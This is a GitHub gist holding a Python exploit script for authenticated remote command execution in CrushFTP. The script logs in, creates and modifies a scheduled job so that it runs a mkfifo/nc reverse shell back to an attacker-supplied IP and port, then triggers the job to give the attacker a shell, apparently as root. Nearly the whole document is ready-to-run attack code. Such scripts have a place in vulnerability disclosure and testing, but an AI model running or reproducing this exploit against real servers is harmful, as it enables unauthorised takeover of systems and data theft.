Created
March 26, 2021 22:25
-
-
Save Frycos/2015161f22827d823060a8b162bc1f89 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
""" | |
Author: @frycos | |
Authenticated Remote Command Execution in all CrushFTP versions | |
User account has to be admin or needs job creation permissions | |
Should give you a root reverse shell in most cases | |
Vendor website: https://crushftp.com/ | |
(+) usage: exploit.py <victimURL> <username> <password> <attackerIP> <attackerPort> | |
(+) eg: exploit.py https://my.crushftp.org/ crushadmin password 192.168.1.2 1337 | |
""" | |
import requests | |
import sys | |
import re | |
import os | |
import ssl | |
import urllib3 | |
import random | |
import string | |
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | |
def random_string_generator(str_size, allowed_chars): | |
return ''.join(random.choice(allowed_chars) for x in range(str_size)) | |
def login(s, t, usr, pwd): | |
uri = "%s/WebInterface/function/" % t | |
d = { | |
"command" : "login", | |
"username" : usr, | |
"password" : pwd, | |
"encoded" : "true", | |
"language" : "en", | |
"random" : "0.19905056288917877" | |
} | |
r = s.post(uri, data=d, verify=False) | |
return "success" in r.text | |
def createjob(s, t): | |
uri = "%s/WebInterface/function/" % t | |
d = { | |
"command" : "addJob", | |
"name" : "MyRCE", | |
"data" : """<schedules_subitem type=\"properties\"><scheduleType>manually</scheduleType><weekDays></weekDays><monthlyAmount>1</monthlyAmount> | |
<weeklyAmount>1</weeklyAmount><plugin>CrushTask (User Defined)</plugin><scheduleName>MyRCE</scheduleName><monthDays></monthDays><scheduleTime>8:00 AM</scheduleTime><scheduleTimeList/> | |
<dailyAmount>1</dailyAmount><minutelyAmount>1</minutelyAmount><save_history>true</save_history><single>false</single><singleServer>false</singleServer><save_state>true</save_state> | |
<max_runtime_hours>00</max_runtime_hours><max_runtime_minutes>00</max_runtime_minutes><id>32ArMXVA</id><canvasSize>3000,1174</canvasSize><connections type=\"vector\"> | |
<connections_subitem type=\"properties\"><type>dummy</type></connections_subitem></connections><enabled>true</enabled></schedules_subitem>""", | |
"c2f" : s.cookies.get("currentAuth") | |
} | |
s.post(uri, data=d, verify=False) | |
def modjob(s, t, ai, ap, pipe): | |
uri = "%s/WebInterface/function/" % t | |
d = { | |
"command" : "addJob", | |
"name" : "MyRCE", | |
"data" : """<schedules_subitem type=\"properties\"><created>1616710263000</created><modified>1616710263000</modified><weekDays></weekDays><connections><connections_subitem><type>dummy</type></connections_subitem> | |
<type>vector</type></connections><scheduleTimeList></scheduleTimeList><plugin>CrushTask (User Defined)</plugin><save_history>true</save_history><enabled>true</enabled><monthlyAmount>1</monthlyAmount><dailyAmount>1</dailyAmount> | |
<singleServer>false</singleServer><canvasSize>3000,1174</canvasSize><id>32ArMXVA</id><minutelyAmount>1</minutelyAmount><weeklyAmount>1</weeklyAmount><single>false</single><max_runtime_minutes>00</max_runtime_minutes><save_state> | |
true</save_state><scheduleTime>8:00 AM</scheduleTime><scheduleType>manually</scheduleType><scheduleName>MyRCE</scheduleName><monthDays></monthDays><max_runtime_hours>00</max_runtime_hours> | |
<job_log_name>{{scheduleName}}_{{id}}.log</job_log_name><log_enabled>true</log_enabled><startPointPosition>50,10</startPointPosition><endPointPosition>421,964</endPointPosition><startPointZIndex>0</startPointZIndex> | |
<endPointZIndex>6</endPointZIndex><audit_trail></audit_trail><tasks type=\"vector\"><tasks_subitem type=\"properties\"> | |
<argument>-c;mkfifo /tmp/{str1} && cat /tmp/{str1}|/bin/sh -i 2>&1|nc {str2} {str3} >/tmp/{str1}</argument><command>/bin/bash</command> | |
<fail_jump></fail_jump><failure_log>false</failure_log><failure_log_file>./failure.log</failure_log_file><failure_log_line>FAIL : {{taskName}}{{r}}{{n}}</failure_log_line><multiThreaded>false</multiThreaded><name>Execute</name> | |
<separator>;</separator><sourceFilter>*</sourceFilter><success_log>false</success_log><success_log_file>./success.log</success_log_file><success_log_line>OK : {{taskName}}{{r}}{{n}}</success_log_line> | |
<workingDirectory>/var/opt/CrushFTP9</workingDirectory><type>Execute</type><environment_vars></environment_vars><ignore_error>false</ignore_error><timeout>600000</timeout><write_timeout>600000</write_timeout><read_timeout>600000</read_timeout> | |
<onedriveTenant>common</onedriveTenant><sharepoint_site_drive_name>Documents</sharepoint_site_drive_name><random_id>true</random_id><multithreaded_s3>false</multithreaded_s3><s3_stat_head_calls>true</s3_stat_head_calls> | |
<connectionID>FxHMVUYx</connectionID><position>188,362</position><proxyActivePorts>1025-65535</proxyActivePorts><process_first>false</process_first><use_dmz/><task_notes></task_notes><connections type=\"vector\"> | |
<connections_subitem type=\"properties\"><type>success</type><connectionID>EndPoint</connectionID></connections_subitem><connections_subitem type=\"properties\"><type>failure</type> | |
<connectionID>EndPoint</connectionID></connections_subitem></connections><zIndex>2</zIndex></tasks_subitem></tasks><connections type=\"vector\"><connections_subitem type=\"properties\"><type>start</type> | |
<connectionID>FxHMVUYx</connectionID></connections_subitem></connections></schedules_subitem>""".format(str1=pipe, str2=ai, str3=ap), | |
"c2f" : s.cookies.get("currentAuth") | |
} | |
s.post(uri, data=d, verify=False) | |
def triggerjob(s ,t): | |
uri = "%s/WebInterface/function/" % t | |
d = { | |
"command" : "testJobSchedule", | |
"scheduleName" : "MyRCE", | |
"c2f" : s.cookies.get("currentAuth") | |
} | |
s.post(uri, data=d, verify=False) | |
def main(): | |
if(len(sys.argv) < 6): | |
print("(+) usage: %s <victimURL> <username> <password> <attackerIP> <attackerPort>" % sys.argv[0]) | |
print("(+) eg: %s https://my.crushftp.org crushadmin password 192.168.1.2 1337" % sys.argv[0]) | |
return | |
username = sys.argv[2] | |
password = sys.argv[3] | |
attackerip = sys.argv[4] | |
attackerport = sys.argv[5] | |
target = "%s" % (sys.argv[1]) | |
print("(+) targeting %s" % target) | |
session = requests.Session() | |
print("(+) logging in") | |
if not login(session, target, username, password): | |
print("(-) login failed...") | |
return | |
print("(+) logged in successfully") | |
createjob(session, target) | |
print("(+) job created") | |
modjob(session, target, attackerip, attackerport, random_string_generator(12, string.ascii_letters)) | |
print("(+) reverse shell added to job") | |
triggerjob(session, target) | |
print("(+) job triggered...look for your shell!") | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
hello